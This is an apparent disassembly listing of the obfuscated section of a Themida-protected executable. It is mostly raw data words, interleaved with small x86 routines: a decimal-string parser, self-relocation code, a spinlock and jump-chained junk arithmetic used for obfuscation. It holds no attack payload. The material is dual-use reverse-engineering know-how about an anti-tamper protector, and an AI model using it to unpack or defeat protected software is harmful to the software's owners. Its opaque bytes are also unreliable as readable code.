		dd 6A83345h, 81BD83h, 0F0006A8h, 12085h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 397A66F9h, 8A9379BAh, 9D8B57AEh, 6A80B29h, 0BFBA505Ah
		dd 894A34FBh, 8B662404h, 0D585C6D8h, 4506A815h,	32BA6660h
		dd 0C0BF0F5Ch, 4E861h, 69690000h, 10E98E72h, 38000000h
		dd 736E458Ah, 3B5FD3C4h, 9BDEE982h, 5016BC14h, 2890Fh
		dd 2FB60000h, 424448Bh,	13E8h, 65B8BA00h, 10584CE1h, 0FE05F200h
		dd 0E6D53ACBh, 14D4E07Ch, 0E8008B5Ah, 7, 897C0528h, 50FF35BBh
		dd 850F52h, 0F000000h, 0F525031h, 5A585A31h, 44895A58h
		dd 8B660424h, 860F58D8h, 3, 0FFD88B66h,	0A831F9B5h, 859D8B06h
		dd 8D06A81Dh, 0A83AC385h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8956C167h
		dd 0A8100985h, 0D0FF5B06h, 0FEDABA66h, 818589h,	11E906A8h
		dd 0AB000000h, 5DEA1FE4h, 0D27D8018h, 71F4976Ch, 5D557219h
		dd 2840F58h, 8B000000h,	0A5BD83D6h, 6A84Fh, 2F840Fh, 0BF0F0000h
		dd 0BDB5FFDFh, 0E806A830h, 0Fh,	4C9543C3h, 62E2212Ch, 1C2FDC16h
		dd 239221FCh, 0A80BED95h, 95FF5A06h, 6A80081h, 4FBC38BAh
		dd 0F88304h, 126850Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0DB0183C3h, 69C60D59h
		dd 1890F28h, 0F9000000h, 0F850Fh, 0AE90000h, 36000000h
		dd 1B69EBA8h, 0FF0CE72Bh, 8DBD83BCh, 6A819h, 8A840Fh, 0F38A0000h
		dd 2EDDBD89h, 0B5FF06A8h, 6A8198Dh, 9E9FEB7h, 0A5000000h
		dd 3AF8680Eh, 0CAE478C4h, 1B8h,	0DAB70F00h, 0C88B6660h
		dd 178F0Fh, 11E80000h, 20000000h, 2C30881Ah, 584D4805h
		dd 2925AB6Bh, 7775915h,	0FBE9615Eh, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 5A7FC357h, 0E3E1F264h, 54EECEEDh, 11E950h, 755B0000h
		dd 65AC4F78h, 0B4A270EDh, 0B45E97Bh, 5A8E3C2Dh,	30BDB5FFh
		dd 0B70F06A8h, 0BDB5FFDAh, 8A06A830h, 81B5FFF0h, 6A06A800h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B37DC351h, 3609B3FAh, 8166F8E4h,	0BB92FDAh
		dd 0A80FC19Dh, 174E906h, 0D3810000h, 20F45597h,	199D8B5Fh
		dd 8306A830h, 0A8142DBDh, 850F0006h, 0ADh, 36DC90BAh, 0D585C637h
		dd 4D06A815h, 29B1BD89h, 0A46806A8h, 6067CF28h,	8043BE66h
		dd 66B86653h, 816159D3h, 4E042404h, 29563C66h, 0A829E185h
		dd 0B5FF5A06h, 6A80D2Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 16C35040h, 0CE5C9941h, 0E9523B8Fh, 7
		dd 77CA353Ch, 8D841F3Eh, 0A83AC385h, 5933BB06h,	0D0FF320Ch
		dd 95895660h, 6A82D09h,	0FA8A605Ah, 840Fh, 61610000h, 142D8589h
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0EAF73FC3h, 0B8E5h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F5DB35C3h
		dd 3B9BB66h, 4F4EBD89h,	0F6006A8h, 685h, 398D8900h, 5306A81Ah
		dd 7C2BC881h, 615A141Fh, 29EB8166h, 0FC00B30h, 1784h, 51B53100h
		dd 0E906A81Ah, 52h, 21818589h, 0CB8106A8h, 45A469Dh, 81B5FFh
		dd 7E806A8h, 8F000000h,	3FEFEF1Fh, 8B666E33h, 858D5AD3h
		dd 6AA9B7Ch, 0BF45BB66h, 1DE3BB90h, 51502DC2h, 0FE9h, 0B9E70E00h
		dd 0D8D82BDEh, 136A223Fh, 4B1CEC7Fh, 8B57905Bh,	0A8095D9Dh
		dd 56505B06h, 566CBD8Dh, 8D8D06A8h, 6A87922h, 8323BCB8h
		dd 30CF2B74h, 47C8D007h, 5EF87549h, 8DBD8358h, 6A819h
		dd 8D8B0674h, 6A80C81h,	0B8C933h, 0B000000h, 0A8840FC0h
		dd 83000000h, 0A82541BDh, 6740006h, 1ADD95FFh, 0B806A8h
		dd 0B000000h, 830975C0h, 0A84F56BDh, 9740106h, 4F56BD83h
		dd 750206A8h, 4EB58B0Eh, 8D06A84Fh, 0AA9B7C85h,	83D0FF06h
		dd 0A81BFDBDh, 6740006h, 1B4D95FFh, 858D06A8h, 6A843ABh
		dd 0BD83D0FFh, 6A80E35h, 8B2F7502h, 0A83469A5h,	8D858B06h
		dd 8906A819h, 85C72404h, 6A81599h, 1, 4F52B58Bh, 0AD8B06A8h
		dd 6A8225Dh, 1B8h, 0CC200h, 85C700EBh, 6A81599h
		dd 1, 3469A58Bh, 0B58B06A8h, 6A832BDh, 225DAD8Bh, 0C03306A8h
		dd 83000CC2h, 0A81BFDBDh, 0F740006h, 1B4DBD83h,	740006A8h
		dd 4D95FF06h, 8B06A81Bh, 0A84F4EB5h, 8C0FC306h,	6, 35299523h
		dd 9D2306A8h, 6A80659h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0B2C35545h, 0D08BB5A9h, 6AD22Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8AE911C3h
		db 0F7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_551481
; ---------------------------------------------------------------------------


loc_55147F:				; CODE XREF: Themida_:00551484j
		inc	eax
		inc	edi


loc_551481:				; CODE XREF: Themida_:0055147Dj
		cmp	byte ptr [edi],	0
		jnz	short loc_55147F
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5514B0
; ---------------------------------------------------------------------------


loc_55148D:				; CODE XREF: Themida_:005514B2j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5514A5
; ---------------------------------------------------------------------------


loc_5514A2:				; CODE XREF: Themida_:005514A8j
		mul	ebx
		dec	esi


loc_5514A5:				; CODE XREF: Themida_:005514A0j
		cmp	esi, 0
		ja	short loc_5514A2
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5514B0:				; CODE XREF: Themida_:0055148Bj
		or	eax, eax
		jnz	short loc_55148D
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 9D89h
		dd 6A81FDDh, 5E8h, 1B5E8700h, 8D0FC3A6h, 6, 34958589h
		dd 0F5B06A8h, 68Ch, 25958B00h, 8B06A80Fh, 176CE9C1h, 0FF6C0002h
		dd 3F0012h, 84DD025Bh, 5Ch, 280000h, 6A60025Bh,	84DD005Ch
		dd 202005Ch, 20000h, 10000h, 20000h, 9A0D0000h,	0F9ACh
		dd 4 dup(0)
		dd 23430000h, 3FC30055h, 58B70055h, 1C3C0055h, 5EB00055h
		dd 0B8870055h, 91250055h, 8DC20055h, 0ADD10055h, 9BE40055h
		dd 53C20055h, 0C4D20055h, 814F0055h, 0AC010055h, 0A7C20055h
		dd 84940055h, 18C90055h, 7ACF0055h, 0CC3D0055h,	32970055h
		dd 0B28F0055h, 9C770055h, 9EFE0055h, 52100055h,	0A49C0055h
		dd 0C1590055h, 0CFC60055h, 47830055h, 4D190055h, 0C3D80055h
		dd 0AE270055h, 3E6D0055h, 5A0B0055h, 3FF60055h,	1FBD0055h
		dd 3E9B0055h, 58BF0055h, 0C9100055h, 55930055h,	0C44D0055h
		dd 3B070055h, 42AF0055h, 1E3D0055h, 0C5A30055h,	0A2140055h
		dd 484C0055h, 1B4C0055h, 9C880055h, 77750055h, 19E70055h
		dd 29E10055h, 6B640055h, 6CA00055h, 0B5830055h,	3F150055h
		dd 6AB70055h, 895D0055h, 2E4B0055h, 2F740055h, 21C80055h
		dd 2AC60055h, 33560055h, 5E6E0055h, 0C9770055h,	6AFA0055h
		dd 0D8A00055h, 54D50055h, 0D4040055h, 67000055h, 391B0055h
		dd 58520055h, 43F40055h, 6D540055h, 8F350055h, 25CE0055h
		dd 0BAC30055h, 0B26C0055h, 784A0055h, 8D870055h, 257B0055h
		dd 34E20055h, 9DCB0055h, 2D320055h, 0D6A60055h,	82800055h
		dd 0CFB60055h, 470B0055h, 62E40055h, 66190055h,	0AA120055h
		dd 3C170055h, 3C440055h, 0BA6E0055h, 81610055h,	53110055h
		dd 55C60055h, 87A90055h, 59980055h, 5DDE0055h, 4F5E0055h
		dd 0B70B0055h, 0CBA00055h, 0C6920055h, 2F0C0055h, 587C0055h
		dd 31E50055h, 1B720055h, 71760055h, 56C70055h, 36060055h
		dd 0C3980055h, 21FB0055h, 0DC570055h, 31210055h, 0D5140055h
		dd 0AD940055h, 73E90055h, 0D65A0055h, 1E370055h, 22380055h
		dd 0CC2A0055h, 37BE0055h, 9AB70055h, 858F0055h,	48E50055h
		dd 0D1840055h, 1C4A0055h, 0A13E0055h, 0B82F0055h, 85AF0055h
		dd 612D0055h, 0CD060055h, 57FB0055h, 36600055h,	3A420055h
		dd 93820055h, 29AF0055h, 0A47C0055h, 0B4780055h, 0A4030055h
		dd 677E0055h, 92040055h, 0DC3E0055h, 0B3610055h, 86620055h
		dd 8CEC0055h, 723F0055h, 30C00055h, 79AD0055h, 853E0055h
		dd 3F410055h, 19F60055h, 85120055h, 81C80055h, 1AFF0055h
		dd 58E70055h, 0C9980055h, 570B0055h, 0B4E50055h, 843D0055h
		dd 33CF0055h, 58930055h, 42280055h, 4A4D0055h, 503F0055h
		dd 0B7AF0055h, 6DF80055h
		db 55h,	0
; ---------------------------------------------------------------------------


loc_5517CE:				; CODE XREF: Themida_:00573536j
					; Themida_:0057FDD1j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6A87DC9h
		mov	eax, edi
		add	edi, 6A87AE1h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5517EC
		jmp	short loc_5517FF
; ---------------------------------------------------------------------------


loc_5517EC:				; CODE XREF: Themida_:005517E8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5517FB
; ---------------------------------------------------------------------------


loc_5517F6:				; CODE XREF: Themida_:005517FDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5517FB:				; CODE XREF: Themida_:005517F4j
		or	ecx, ecx
		jnz	short loc_5517F6


loc_5517FF:				; CODE XREF: Themida_:005517EAj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55180C:				; CODE XREF: Themida_:00551813j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55180C


loc_551815:				; CODE XREF: Themida_:loc_551B39j
					; Themida_:005534DDj ...
		lodsb
		xor	al, bl
		push	dx
		jmp	loc_55CC57
; ---------------------------------------------------------------------------
		db 81h
		dd 2C703DCBh, 94BF5705h, 837DC77Dh, 0E7C1FFEFh,	60F78105h
		dd 29F5369Ch, 0E5E95FFBh, 3300000Bh, 34312434h,	24343324h
		dd 0A5E9525Ch, 89000075h, 8951241Ch, 4C181E1h, 83000000h
		dd 0C8704E9h, 4895C24h,	16D3B824h, 44314C11h, 48B0424h
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 0E9240C87h, 5019h
; ---------------------------------------------------------------------------


loc_551888:				; CODE XREF: Themida_:00559EADj
		mov	eax, 420A341Ah
		sub	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55BFC6
; ---------------------------------------------------------------------------


loc_551898:				; CODE XREF: Themida_:0055CCAFj
		add	ecx, 6B891C75h
		jmp	loc_551DC3
; ---------------------------------------------------------------------------
		db 0B8h
		dd 26502D15h, 0AFD2EF05h, 9C7E9D9h, 0DD010000h,	1999ED81h
		dd 1C8B539Fh, 24B2E924h, 4B590000h, 5FF0E9h, 19F16800h
		dd 1C890000h, 842DE924h, 2C330000h, 242C3124h, 8B242C33h
		dd 4282424h, 5E99C24h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5518EB:				; CODE XREF: Themida_:00554706j
		mov	esi, 2ECA7C8Fh
		push	eax
		mov	eax, 56DD7E32h
		sub	esi, eax
		pop	eax
		jmp	loc_5577BB
; ---------------------------------------------------------------------------
		dw 5166h
		dd 0EC81F0B1h, 4, 51241489h, 7EE977B5h,	66000056h, 66240C89h
		dd 66C8B60Fh, 0F2E99C51h, 0CFFFFFEh, 20FD04DBh,	0E78058C7h
		dd 4E7C0AFh, 2820C780h,	0F0005BFEh, 1365E9h, 24148700h
		dd 0FF24248Bh, 50E92434h, 8900006Eh, 5066241Ch,	8AD3E9h
		dd 42D5E00h, 87000000h,	895C2404h, 2BB241Ch, 1000000h
		dd 9E9E9DEh, 0E95C0000h, 1A53h,	0E9241433h, 9E41h, 0FFFE94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551981:				; CODE XREF: Themida_:00552C14j
		xchg	edi, [esp]
		pop	esp
		and	eax, edi
		jmp	loc_553258
; ---------------------------------------------------------------------------
		dd 4C181h, 2E90000h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551997:				; CODE XREF: Themida_:0055B2E1j
		mov	esp, [esp]
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_55C8AB
; ---------------------------------------------------------------------------
aHssof		db 'µhSéOF',0
		align 4
		dd 5324048Fh, 4BBh, 79BB5300h, 29175330h, 5B08245Ch, 4245C01h
		dd 3079BE56h, 74011753h, 348B0824h, 4C48124h, 8B000000h
		dd 3E9241Ch, 6600003Dh,	8124048Bh, 4ECh, 39AE900h, 0E9AD0000h
		dd 6CD5h
; ---------------------------------------------------------------------------


loc_5519FC:				; CODE XREF: Themida_:00556A05j
		push	114Ah
		mov	[esp], ecx
		push	ebp
		push	249512C7h
		pop	ebp
		add	ebp, 37DD3B4Ch
		jmp	loc_552B41
; ---------------------------------------------------------------------------
		dw 0C521h
		dd 85F58158h, 12F593Fh,	0D8015DE8h, 593E052Dh, 2434FF2Fh
		dd 0E389535Bh, 4C381h, 0FEE90000h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551A3B:				; CODE XREF: Themida_:00555F66j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_552C13
; ---------------------------------------------------------------------------
		dw 5CBEh
		dd 0B8411731h, 46606127h, 0E95EF029h, 31A7h, 295FFB29h
		dd 0A9C381CBh, 0E94C362Fh, 89B0h, 0CB7EE635h, 7003E915h
		dd 8B5D0000h, 0C4812404h, 4, 37AA68h, 24348900h, 9D2BEFBEh
		dd 366F2D31h, 85E9107Ah, 680000A5h, 48E10603h, 0E924148Bh
		dd 0C0Dh
; ---------------------------------------------------------------------------


loc_551AA8:				; CODE XREF: Themida_:0055BA84j
		or	eax, 6BBF7B48h
		add	eax, 0DD2B3DE0h
		mov	edx, eax
		pop	eax
		push	ebp
		push	eax
		mov	eax, 2F5550C6h
		mov	ebp, eax
		pop	eax
		jmp	loc_557ABE
; ---------------------------------------------------------------------------
		dd 2D05E8C1h, 83477963h, 0DAE9C301h, 0B400004Ch, 58E6085Dh
		dd 5782E9h, 4BD00h, 0EA010000h,	3429E9h, 0EB815B00h, 4DDB5A59h
		dd 9127E9h, 0FFF98800h,	0BCE92434h, 6600001Dh, 5524048Bh
		dd 5C6268h, 9C45E900h, 0C4810000h, 4, 83240C8Bh, 0F6E904C4h
		dd 0B2FFFFFCh, 8BD000E9h, 0C4812414h, 4, 0ADE7E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B32:				; CODE XREF: Themida_:005548D2j
		add	bh, ch
		jmp	loc_558C8F
; ---------------------------------------------------------------------------


loc_551B39:				; CODE XREF: Themida_:0055CF38j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_551B3E:				; CODE XREF: Themida_:00556C9Bj
		inc	ecx
		jmp	loc_55CA34
; ---------------------------------------------------------------------------
		dd 0E9240489h, 7E0Fh, 240C8B66h, 0A8A6E9h, 74FF5200h, 8F5A0424h
		dd 0E95C2404h, 2012h, 8B2434FFh, 0C483240Ch, 0B44CE904h
		dd 2CAC0000h, 28BB0458h, 66BB2CD8h, 6671B368h, 0B6241489h
		dd 30B35358h, 9996E9h, 240C8900h, 42474FFh, 24048F59h
		dd 48B665Ch, 1E685624h,	89000066h, 0E389241Ch, 4C381h
		dd 0E9550000h, 7BE5h, 0C8B60F66h, 0E99C5166h, 0FFFFFC55h
		dd 53A5C980h, 0C78080B7h, 5BF920A1h, 5237E980h,	0A9DEE9h
		dd 4C48300h, 4C281h, 0C2810000h, 4, 5C241487h, 1F2CBA52h
		dd 4E92728h, 8300001Dh,	348704C6h, 10E95C24h, 5D000008h
		dd 56535053h, 1C6E8ABEh, 0F681462Fh, 35152E2h, 361EF681h
		dd 0F3894474h, 0E3C14B5Eh, 3BB95106h, 811C1317h, 769B4C1h
		dd 8DCCE923h, 1C8B0000h, 4C48324h, 0E958E388h, 0AC54h
		dd 6AB353ACh, 6606E380h, 0BC11E952h, 66640000h,	5502B60Fh
		dd 20685D54h, 89000039h, 0F4B82404h, 6854D164h,	230Fh
		dd 0BD242C89h, 276D0E04h, 3365E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551C72:				; CODE XREF: Themida_:0055A78Aj
		or	dword ptr [edi+20h], 483D647Bh
		sub	dword ptr [edi+20h], 0FFFFFFFFh
		xchg	esi, [edi+20h]
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		xor	[edi+20h], esi
		xor	esi, [edi+20h]
		jmp	loc_55D116
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 46h
		dd 0E96D6D7Fh, 0AF7h, 51507AB2h, 4460E9h
		db 0
; ---------------------------------------------------------------------------


loc_551CA5:				; CODE XREF: Themida_:00557F03j
		xchg	eax, ebp
		jmp	loc_5578C5
; ---------------------------------------------------------------------------
aS2o		db '\é2®',0
		db 0
; ---------------------------------------------------------------------------


loc_551CB1:				; CODE XREF: Themida_:005530A4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		jmp	loc_55A2C1
; ---------------------------------------------------------------------------
		dd 0E904C483h, 78C9h, 37B1E681h, 0CE81764Ch, 2233539Ah
		dd 4DFACE81h, 28E90450h, 87000072h, 685C243Ch, 5B4Fh, 68243489h
		dd 10D1h, 83242489h, 8B042404h,	0C4832434h, 5D5BE904h
		dd 0BF570000h, 33BB0F79h, 9BB2C2B9h, 86EE936h, 0EF810000h
		dd 4, 5C243C87h, 0FF241489h, 5A042474h,	97C8E9h, 4C48300h
		dd 4EC81h, 0A4E90000h, 35h, 40B2CD8h, 3F5FE9ABh, 665C0000h
		dd 660FC068h, 0B2241489h, 7CC280E8h, 0E9E2C280h, 1EFFh
		dd 0CD20C181h, 32E978ABh, 8900009Ah, 7DB9240Ch,	0E9327038h
		dd 2513h, 5058C601h, 405E089h, 0E9000000h, 0EF3h, 0E9243C89h
		dd 80AAh, 5FF86856h, 0EEE92413h, 81000082h, 0D9262FCFh
		dd 8D2AE959h, 0F5800000h, 1CE580E4h, 0E9D7B050h, 2AFFh
		dd 0E9E9C189h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551DC3:				; CODE XREF: Themida_:0055189Ej
		mov	edi, [esp]
		jmp	loc_556BC1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 815E2434h, 4C4h,	24048F00h, 0B4CAE9h, 4ED8300h
		dd 5C242C87h, 0BA241489h, 4E712A9Ch, 712A9DBFh,	6CEF814Eh
		dd 2920E67Ch, 6CBD55D7h, 120E67Ch, 37E95DEFh, 560000ADh
		dd 0C9E95E57h, 8100001Bh, 4C4h,	24148700h, 2434FF5Ch, 7815E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E26:				; CODE XREF: Themida_:00556C7Dj
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_557115
; ---------------------------------------------------------------------------
aS_5		db ']é-',7,0
		dw 0AC00h
		dd 610FE9h, 2434FF00h, 17D3E9h,	4C58100h, 33000000h, 2C31242Ch
		dd 242C3324h, 74A4685Ch, 2C890000h, 1A77E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E62:				; CODE XREF: Themida_:00558E95j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55CBDA
; ---------------------------------------------------------------------------
		dd 8058C500h, 31E984C5h, 880000AAh, 6EE959EBh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551E87:				; CODE XREF: Themida_:0055989Dj
		mov	[esp], eax
		push	ebp
		push	69FF5A39h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 9600A5C6h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		sub	dword ptr [esp], 9D8047Ah
		pop	ebx
		add	ebx, 9D8047Ah
		pop	eax
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55BC52
; ---------------------------------------------------------------------------
		db 87h
		dd 0F75C243Ch, 0A2868E9h, 14890000h, 0E99C5024h, 0B25Bh
		dd 5A2434FFh, 83E78957h, 48904ECh, 4B824h, 0C7810000h
		dd 32C9704Dh, 0EF81C701h, 32C9704Dh, 0BF575658h, 58157839h
		dd 0F701EF83h, 0D5C781DFh, 0E948974Fh, 8298h, 4C581h, 0C5810000h
		dd 4, 8C96E9h, 58C78900h, 0E9FD8955h, 6C28h, 34FFFB09h
		dd 0D5E95F24h, 8B00007Eh, 0C481241Ch, 4, 0E9240C8Bh, 30B5h
		dd 68E08950h, 555h, 0E9243489h,	4E11h, 9DC9815Eh, 8173D74Dh
		dd 20A025C1h, 0C2810Ch,	1557D2Ch, 0EA81CAh, 8B557D2Ch
		dd 0C481240Ch, 4, 5FF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_551F81:				; CODE XREF: Themida_:00553498j
		add	edx, 0EDB7AE7Ah
		add	ebp, edx
		pop	edx
		jmp	loc_55B6DC
; ---------------------------------------------------------------------------
		db 81h
		dd 7BDFBDF6h, 8BF701F7h, 0C4832434h, 15E8E904h,	0E9C30000h
		dd 0FFFFF86Dh, 88C28852h, 48B5AD1h, 4C48124h, 5A000000h
		dd 7538E9h, 48B6600h, 68FBE924h, 4830000h, 0E9580424h
		dd 8D1Ch, 0E9241489h, 7A9Ah
; ---------------------------------------------------------------------------


loc_551FD8:				; CODE XREF: Themida_:0055AB59j
		push	ebp
		mov	ebp, esp
		jmp	loc_557BAB
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 6D12h, 4C5768h, 241C8900h, 5156E389h, 3A4C59B9h
		dd 53D1F74Ah, 6B173EBBh, 5BD92104h, 0C68DE981h,	0CE89B357h
		dd 0E9D6F759h, 21F5h, 5FD968h, 241C8900h, 84248BBh, 0E4EB8151h
		dd 0F7615D49h, 5E3C1D3h, 5ECB8143h, 8145183Ah, 1D62A1C3h
		dd 5BDF89CBh, 7E5BEF81h, 8EE90CF0h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552047:				; CODE XREF: Themida_:0055CE32j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55360E
; ---------------------------------------------------------------------------
		dw 8BB8h
		dd 895F9A32h, 0DEF758C6h, 0E904EEC1h, 5006h
; ---------------------------------------------------------------------------


loc_552068:				; CODE XREF: Themida_:0055212Dj
		push	ebx
		mov	ebx, 7B077F8Eh
		shr	ebx, 5
		add	ebx, 6CC1ADAh
		sub	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 594E4CFEh
		push	edi
		mov	edi, 4B8C66C0h
		not	edi
		jmp	loc_55C956
; ---------------------------------------------------------------------------


loc_55208D:				; CODE XREF: Themida_:00557F90j
		add	eax, edx
		sub	eax, 5E6914D4h
		mov	edx, [esp]
		jmp	loc_554865
; ---------------------------------------------------------------------------


loc_55209C:				; CODE XREF: Themida_:0055217Cj
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	edx, 58F64BBDh
		sub	edx, 48A75FE9h
		jmp	loc_5555D0
; ---------------------------------------------------------------------------
		dw 6850h
		dd 881779h, 0CA0D4858h,	252D2422h, 24A0366Fh, 0A036682Dh
		dd 58C28924h, 148BD601h, 8FB1E924h, 5400000h, 792F6274h
		dd 6725BD55h, 0F5817A40h, 6568030Dh, 26B5CD81h,	0C5814138h
		dd 137EF8C0h, 405DE821h, 3D74BB53h, 814B44D6h, 1C3h, 2EBC100h
		dd 72F7E9h, 0A7E98000h,	3015F180h, 0F3E959CCh
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55211F:				; CODE XREF: Themida_:0055C055j
		add	edx, 33EF7C17h
		add	edx, 0AA456D6h
		sub	edx, eax
		jmp	loc_552068
; ---------------------------------------------------------------------------
		dw 0F280h
a9Zh		db '9(ÓZhÞ',9,0
		dd 24048900h, 0C30090B0h, 8B2434FFh, 0C4832404h, 4EC8304h
		dd 89241489h, 4C281E2h,	53000000h, 5060FDBBh, 74F38134h
		dd 4B7A9F16h, 0A2E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55216D:				; CODE XREF: Themida_:00553B02j
		xor	edx, 5B2868DAh
		xor	edx, 79E07EB6h
		mov	esi, edx
		pop	edx
		jmp	loc_55209C
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0EE830000h, 24348704h, 2424895Ch, 4240483h
		dd 40558h, 68560000h, 2, 8124348Bh, 4C4h, 5EF00100h, 0E9240487h
		dd 0A851h
; ---------------------------------------------------------------------------


loc_5521B8:				; CODE XREF: Themida_:0055ACBFj
		push	edx
		mov	edx, esp
		jmp	loc_55A870
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 9106h, 74D4E951h, 665B0000h, 8B66C829h
		dd 0EC81240Ch, 4, 3B5FE9h, 4895C00h, 1C72E924h,	0C5810000h
		dd 318A3546h, 6961ED81h, 74E937B1h, 0AC000014h,	81E96504h
		dd 810000ADh, 0B35EA2C6h, 8354E95Ah, 0E6810000h, 3DFE6BE0h
		dd 0CC7AC681h, 0F729E98Eh, 5024348Bh, 8F3E9h, 0AAC68100h
		dd 0E91F3F15h, 5E11h, 0E924048Bh, 8926h, 582434FFh, 0E1895155h
		dd 4C181h, 0E9810000h, 4, 8B240C87h, 24892424h,	0E9535624h
		dd 2311h
; ---------------------------------------------------------------------------


loc_55225C:				; CODE XREF: Themida_:00554D9Ej
		mov	ebx, 1
		jmp	loc_55B393
; ---------------------------------------------------------------------------


loc_552266:				; CODE XREF: Themida_:0055BE84j
		pop	edx
		jmp	loc_55CB04
; ---------------------------------------------------------------------------
		dd 6670A535h, 58C689F9h, 6E16E9h, 58C60100h, 5C243487h
		dd 0EB81C301h, 68164C5Eh, 663768h, 0DDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552292:				; CODE XREF: Themida_:00553EE8j
		xchg	eax, [esp]
		jmp	loc_55461E
; ---------------------------------------------------------------------------
		dw 685Fh
		dd 7Ch,	0E9240C89h, 0FFFFFA6Ah
; ---------------------------------------------------------------------------


loc_5522A8:				; CODE XREF: Themida_:0055AA0Dj
		mov	[esp], ecx
		push	esp
		jmp	loc_55A554
; ---------------------------------------------------------------------------
		db 80h,	0CCh, 0A6h
		dd 0E906E4C0h, 233Eh
; ---------------------------------------------------------------------------


loc_5522BC:				; CODE XREF: Themida_:0055261Dj
		xor	edi, ebx
		pop	ebx
		sub	edi, 0FFFFFFFFh
		neg	edi
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		xor	edi, 29316262h
		push	edx
		jmp	loc_555052
; ---------------------------------------------------------------------------
		db 87h,	0F1h, 0E9h
		dd 9DB7h, 222BC505h, 5AE98127h,	297D4361h, 5AC181C1h, 0E97D4361h
		dd 3CB6h, 68E9E289h, 5E00000Eh,	4CCFEB81h, 5868763Eh, 89000001h
		dd 5BB1240Ch, 0F986C9FEh, 0D6F6F786h, 0FE30F730h, 0F986F730h
		dd 80E3C980h, 6E9DDC1h,	5200008Bh, 0ED5EF2BAh, 11CDBB3Bh
		dd 0C381CC97h, 5B3D32D0h, 0C4E9D301h, 0FF0000B5h, 0C8B2434h
		dd 4C48324h, 83E08950h,	84E904ECh, 5B0000B5h, 9CBBE9h
		dd 48D26800h, 0E95D3B27h, 893Bh, 75E95457h, 890000B1h
		dd 9EE92404h, 1FFFFF4h,	0C7815DEFh, 91E04C7Dh, 0E95FFA01h
		dd 80E8h, 8ABE5657h, 896A2C15h,	0EF815EF7h, 0F781F65Eh
		dd 15FFB29h, 2CC381FBh,	5F72AA1Fh, 6AE930FFh, 0FEFFFFF4h
